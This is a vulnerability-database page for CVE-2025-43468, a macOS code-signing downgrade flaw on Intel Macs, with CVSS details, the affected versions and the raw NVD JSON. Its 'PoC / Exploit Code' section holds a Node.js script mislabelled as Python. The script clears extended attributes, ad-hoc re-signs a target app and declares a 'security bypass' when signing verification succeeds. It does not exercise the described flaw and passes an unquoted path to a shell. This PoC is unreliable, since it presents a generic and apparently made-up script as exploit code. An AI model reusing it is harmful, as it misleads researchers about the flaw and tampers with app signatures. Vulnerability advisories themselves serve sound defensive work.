Security Vulnerability Report
中文
CVE-2025-43468 CVSS 5.5 MEDIUM

CVE-2025-43468

Published: 2025-11-04 02:15:52
Last Modified: 2026-04-02 19:20:51

Description

A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to access sensitive user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia 15.7.2之前的所有版本(Intel Mac)
macOS Sonoma 14.8.2之前的所有版本(Intel Mac)
macOS Tahoe 26.1之前的所有版本(Intel Mac)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43468 PoC - Code Signing Downgrade Attack Simulation // Note: This is a conceptual demonstration for security research const { execSync } = require('child_process'); // Function to check code signing status function checkCodeSigningStatus(appPath) { try { const result = execSync(`codesign -d -v ${appPath}`, {encoding: 'utf-8'}); console.log('Code signing info:', result); return true; } catch (error) { console.log('Code signing check failed:', error.message); return false; } } // Function to simulate downgrade attack function simulateDowngradeAttack(appPath) { console.log('[+] Simulating code signing downgrade attack...'); console.log('[+] Target:', appPath); // Step 1: Check current signing status console.log('\n[*] Step 1: Checking current code signing status'); checkCodeSigningStatus(appPath); // Step 2: Attempt to remove extended attributes console.log('\n[*] Step 2: Removing extended attributes (simulated)'); try { execSync(`xattr -cr ${appPath}`); console.log('[+] Extended attributes cleared'); } catch (e) { console.log('[-] Failed to clear attributes'); } // Step 3: Re-sign with lower requirements (simulated) console.log('\n[*] Step 3: Attempting re-signing with relaxed requirements'); try { execSync(`codesign --force --deep --sign - ${appPath}`); console.log('[+] Application re-signed'); } catch (e) { console.log('[-] Re-signing failed or blocked'); } // Step 4: Verify bypass console.log('\n[*] Step 4: Verifying if downgrade was successful'); const status = checkCodeSigningStatus(appPath); if (status) { console.log('[!] Potential security bypass detected'); console.log('[!] Application may now have access to sensitive data'); } else { console.log('[+] Attack blocked - code signing integrity maintained'); } } // Main execution const targetApp = process.argv[2] || '/Applications/TestApp.app'; simulateDowngradeAttack(targetApp); console.log('\n[*] Mitigation: Update to macOS Sequoia 15.7.2, Sonoma 14.8.2, or Tahoe 26.1');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43468", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:51.610", "lastModified": "2026-04-02T19:20:51.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.2", "matchCriteriaId": "84A2783A-5B53-4DAB-80C4-8D62E332802A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}